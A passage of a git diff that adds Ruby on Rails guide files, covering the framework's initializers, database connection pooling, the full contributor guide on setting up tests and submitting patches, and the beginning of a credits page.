+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example.
+
+Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application.
+
+h4. Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+*+load_environment_hook+*
+Serves as a placeholder so that +:load_environment_config+ can be defined to run before it.
+
+*+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default.
+
+*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+.
+
+*+initialize_cache+* If +Rails.cache+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +Rails.cache+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack.
+
+*+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them.
+
+*+bootstrap_hook+* Runs all configured +before_initialize+ blocks.
+
+*+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as:
+
+<plain>
+  Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
+</plain>
+
+And:
+
+<plain>
+You have a nil object when you didn't expect it!
+You might have expected an instance of Array.
+The error occurred while evaluating nil.each
+</plain>
+
+*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values.
+
+*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC".
+
+*+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+.
+
+*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too.
+
+*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views.
+
+*+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through.
+
+*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+.
+
+*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +Rails.cache+.
+
+*+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through.
+
+*+action_controller.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
+
+*+active_record.initialize_timezone+* Sets +ActiveRecord::Base.time_zone_aware_attributes+ to true, as well as setting +ActiveRecord::Base.default_timezone+ to UTC. When attributes are read from the database, they will be converted into the time zone specified by +Time.zone+.
+
+*+active_record.logger+* Sets +ActiveRecord::Base.logger+ -- if it's not already set -- to +Rails.logger+.
+
+*+active_record.set_configs+* Sets up Active Record by using the settings in +config.active_record+ by +send+'ing the method names as setters to +ActiveRecord::Base+ and passing the values through.
+
+*+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment.
+
+*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+.
+
+*+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+.
+
+*+action_mailer.set_configs+* Sets up Action Mailer by using the settings in +config.action_mailer+ by +send+'ing the method names as setters to +ActionMailer::Base+ and passing the values through.
+
+*+action_mailer.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
+
+*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+.
+
+*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
+
+*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application.
+
+*+add_locales+* Adds the files in +config/locales+ (from the application, railties and engines) to +I18n.load_path+, making available the translations in these files.
+
+*+add_view_paths+* Adds the directory +app/views+ from the application, railties and engines to the lookup path for view files for the application.
+
+*+load_environment_config+* Loads the +config/environments+ file for the current environment.
+
+*+append_asset_paths+* Finds asset paths for the application and all attached railties and keeps a track of the available directories in +config.static_asset_paths+.
+
+*+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application.
+
+*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+*+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+*+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference.
+
+*+ensure_autoload_once_paths_as_subset+* Ensures that the +config.autoload_once_paths+ only contains paths from +config.autoload_paths+. If it contains extra paths, then an exception will be raised.
+
+*+add_to_prepare_blocks+* The block for every +config.to_prepare+ call in the application, a railtie or engine is added to the +to_prepare+ callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
+
+*+add_builtin_route+* If the application is running under the development environment then this will append the route for +rails/info/properties+ to the application routes. This route provides the detailed information such as Rails and Ruby version for +public/index.html+ in a default Rails application.
+
+*+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request.
+
+*+eager_load!+* If +config.eager_load+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all +config.eager_load_namespaces+.
+
+*+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines.
+
+*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+.
+
+*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.eager_load+ is set to true.
+
+h3. Database pooling
+
+Active Record database connections are managed by +ActiveRecord::ConnectionAdapters::ConnectionPool+ which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in +database.yml+.
+
+<ruby>
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+</ruby>
+
+Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
+
+NOTE. If you have enabled +Rails.threadsafe!+ mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.textile b/guides/source/contributing_to_ruby_on_rails.textile
new file mode 100644
index 0000000000..4bb4e3b546
--- /dev/null
+++ b/guides/source/contributing_to_ruby_on_rails.textile
@@ -0,0 +1,560 @@
+h2. Contributing to Ruby on Rails
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:
+
+* Using GitHub to report issues
+* Cloning master and running the test suite
+* Helping to resolve existing issues
+* Contributing to the Ruby on Rails documentation
+* Contributing to the Ruby on Rails code
+
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation -- all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+
+endprologue.
+
+h3. Reporting an Issue
+
+Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+
+NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
+
+h4. Creating a Bug Report
+
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under "Issues":https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
+
+At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself -- and others -- to replicate the bug and figure out a fix.
+
+Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
+
+h4. Special Treatment for Security Issues
+
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
+
+h4. What about Feature Requests?
+
+Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+
+If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the "rails-core mailing list":https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
+
+h3. Setting Up a Development Environment
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+h4. The Easy Way
+
+The easiest way to get a development environment ready to hack is to use the "Rails development box":https://github.com/rails/rails-dev-box.
+
+h4. The Hard Way
+
+h5. Install Git
+
+Ruby on Rails uses Git for source code control. The "Git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* "Everyday Git":http://schacon.github.com/git/everyday.html will teach you just enough about Git to get by.
+* The "PeepCode screencast":https://peepcode.com/products/git on Git ($9) is easier to follow.
+* "GitHub":http://help.github.com offers links to a variety of Git resources.
+* "Pro Git":http://git-scm.com/book is an entire book about Git with a Creative Commons license.
+
+h5. Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
+
+<shell>
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+</shell>
+
+h5. Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+
+<shell>
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+</shell>
+
+If you are on Fedora or CentOS, you can run
+
+<shell>
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+</shell>
+
+If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the "Red Hat/CentOS section of the Nokogiri tutorials":http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos .
+
+Also, SQLite3 and its development files for the +sqlite3-ruby+ gem -- in Ubuntu you're done with just
+
+<shell>
+$ sudo apt-get install sqlite3 libsqlite3-dev
+</shell>
+
+And if you are on Fedora or CentOS, you're done with
+
+<shell>
+$ sudo yum install sqlite3 sqlite3-devel
+</shell>
+
+Get a recent version of "Bundler":http://gembundler.com/:
+
+<shell>
+$ gem install bundler
+$ gem update bundler
+</shell>
+
+and run:
+
+<shell>
+$ bundle install --without db
+</shell>
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+
+<shell>
+$ bundle exec rake test
+</shell>
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+<shell>
+$ cd actionpack
+$ bundle exec rake test
+</shell>
+
+If you want to run the tests located in a specific directory use the +TEST_DIR+ environment variable. For example, this will run the tests of the +railties/test/generators+ directory only:
+
+<shell>
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+</shell>
+
+You can run any single test separately too:
+
+<shell>
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+</shell>
+
+h5. Active Record Setup
+
+The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+h6. Database Configuration
+
+The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
+
+h6. MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+
+<shell>
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+</shell>
+
+On Fedora or CentOS, just run:
+
+<shell>
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+</shell>
+
+After that run:
+
+<shell>
+$ rm .bundle/config
+$ bundle install
+</shell>
+
+We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases:
+
+<shell>
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+</shell>
+
+and create the test databases:
+
+<shell>
+$ cd activerecord
+$ bundle exec rake mysql:build_databases
+</shell>
+
+PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+
+<shell>
+$ sudo -u postgres createuser --superuser $USER
+</shell>
+
+and then create the test databases with
+
+<shell>
+$ cd activerecord
+$ bundle exec rake postgresql:build_databases
+</shell>
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you’re using another database, check the file +activerecord/test/config.yml+ or +activerecord/test/config.example.yml+ for default connection information. You can edit +activerecord/test/config.yml+ to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
+
+h3. Testing Active Record
+
+This is how you run the Active Record test suite only for SQLite3:
+
+<shell>
+$ cd activerecord
+$ bundle exec rake test_sqlite3
+</shell>
+
+You can now run the tests as you did for +sqlite3+. The tasks are respectively
+
+<shell>
+test_mysql
+test_mysql2
+test_postgresql
+</shell>
+
+Finally,
+
+<shell>
+$ bundle exec rake test
+</shell>
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+<shell>
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+</shell>
+
+You can invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+ also. See the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ for the test suite run by the continuous integration server.
+
+h4. Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+As of this writing (December, 2010) they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+<shell>
+$ RUBYOPT=-W0 bundle exec rake test
+</shell>
+
+h4. Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
+
+<shell>
+$ git branch --track 3-0-stable origin/3-0-stable
+$ git checkout 3-0-stable
+</shell>
+
+TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
+
+h3. Helping to Resolve Existing Issues
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+h4. Verifying Bug Reports
+
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+
+If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+h4. Testing Patches
+
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+
+<shell>
+$ git checkout -b testing_branch
+</shell>
+
+Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+
+<shell>
+$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+</shell>
+
+After applying their branch, test it out! Here are some things to think about:
+
+* Does the change actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql -- much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
+
+h3. Contributing to the Rails Documentation
+
+Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
+
+If you're confident about your changes, you can push them directly yourself via "docrails":https://github.com/lifo/docrails. Docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+
+If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
+
+When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
+
+NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
+
+NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+
+WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
+
+h3. Contributing to the Rails Code
+
+h4. Clone the Rails Repository
+
+The first thing you need to do to be able to contribute code is to clone the repository:
+
+<shell>
+$ git clone git://github.com/rails/rails.git
+</shell>
+
+and create a dedicated branch:
+
+<shell>
+$ cd rails
+$ git checkout -b my_new_branch
+</shell>
+
+It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository.
+
+h4. Write Your Code
+
+Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right.
+* Use Rails idioms and helpers.
+* Include tests that fail without your code, and pass with it.
+* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
+
+h4. Follow the Coding Conventions
+
+Rails follows a simple set of coding style conventions.
+
+* Two spaces, no tabs (for indentation).
+* No trailing whitespace. Blank lines should not have any spaces.
+* Indent after private/protected.
+* Prefer +&amp;&amp;+/+||+ over +and+/+or+.
+* Prefer class << self over self.method for class methods.
+* Use +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+.
+* Use a = b and not a=b.
+* Follow the conventions in the source you see used already.
+
+The above are guidelines -- please use your best judgment in using them.
+
+h4. Updating the CHANGELOG
+
+The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
+
+You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, commiting a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+
+A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+
+<plain>
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    * Your Name *
+</plain>
+
+Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
+
+h4. Sanity Check
+
+You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+
+You might want also to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
+
+h4. Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to Git:
+
+<shell>
+$ git commit -a
+</shell>
+
+At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
+
+Good commit message should be formatted according to the following example:
+
+<plain>
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to 72
+characters. Try to be as descriptive as you can, even if you think that
+the commit content is obvious, it may not be obvious to others. You
+should add such description also if it's already present in bug tracker,
+it should not be necessary to visit a webpage to check the history.
+
+Description can have multiple paragraphs and you can use code examples
+inside, just indent it with 4 spaces:
+
+    class PostsController
+      def index
+        respond_with Post.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- you can use dashes or asterisks
+
+- also, try to indent next line of a point for readability, if it's too
+  long to fit in 72 characters
+</plain>
+
+TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
+
+h4. Update Master
+
+It’s pretty likely that other changes to master have happened while you were working. Go get them:
+
+<shell>
+$ git checkout master
+$ git pull --rebase
+</shell>
+
+Now reapply your patch on top of the latest changes:
+
+<shell>
+$ git checkout my_new_branch
+$ git rebase master
+</shell>
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+h4. Fork
+
+Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
+
+Add the new remote to your local repository on your local machine:
+
+<shell>
+$ git remote add mine git@github.com:<your user name>/rails.git
+</shell>
+
+Push to your remote:
+
+<shell>
+$ git push mine my_new_branch
+</shell>
+
+You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
+
+In the directory you cloned your fork:
+
+<shell>
+$ git remote add rails git://github.com/rails/rails.git
+</shell>
+
+Download new commits and branches from the official repository:
+
+<shell>
+$ git fetch rails
+</shell>
+
+Merge the new content:
+
+<shell>
+$ git checkout master
+$ git rebase rails/master
+</shell>
+
+Update your fork:
+
+<shell>
+$ git push origin master
+</shell>
+
+If you want to update another branches:
+
+<shell>
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+</shell>
+
+
+h4. Issue a Pull Request
+
+Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
+
+Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+
+Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
+
+Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+
+h4. Get some Feedback
+
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+
+h4. Iterate as Necessary
+
+It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
+
+h4. Backporting
+
+Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
+
+For simple fixes, the easiest way to backport your changes is to "extract a diff from your changes in master and apply them to the target branch":http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git.
+
+First make sure your changes are the only difference between your current branch and master:
+
+<shell>
+$ git log master..HEAD
+</shell>
+
+Then extract the diff:
+
+<shell>
+$ git format-patch master --stdout > ~/my_changes.patch
+</shell>
+
+Switch over to the target branch and apply your changes:
+
+<shell>
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+</shell>
+
+This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
+
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in +.travis.yml+ before submitting your pull request.
+
+And then... think about your next contribution!
+
+h3. Rails Contributors
+
+All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
new file mode 100644
index 0000000000..04deec6a11
--- /dev/null
+++ b/guides/source/credits.html.erb
@@ -0,0 +1,76 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides: Credits
+<% end %>
+
+<% content_for :header_section do %>
+<h2>Credits</h2>
+
+<p>We'd like to thank the following people for their tireless contributions to this project.</p>
+
+<% end %>
+
+<h3 class="section">Rails Guides Reviewers</h3>
+
+<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
+  Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
+<% end %>
+
+<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
+  Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<%= author('Jason Zimdars', 'jz') do %>
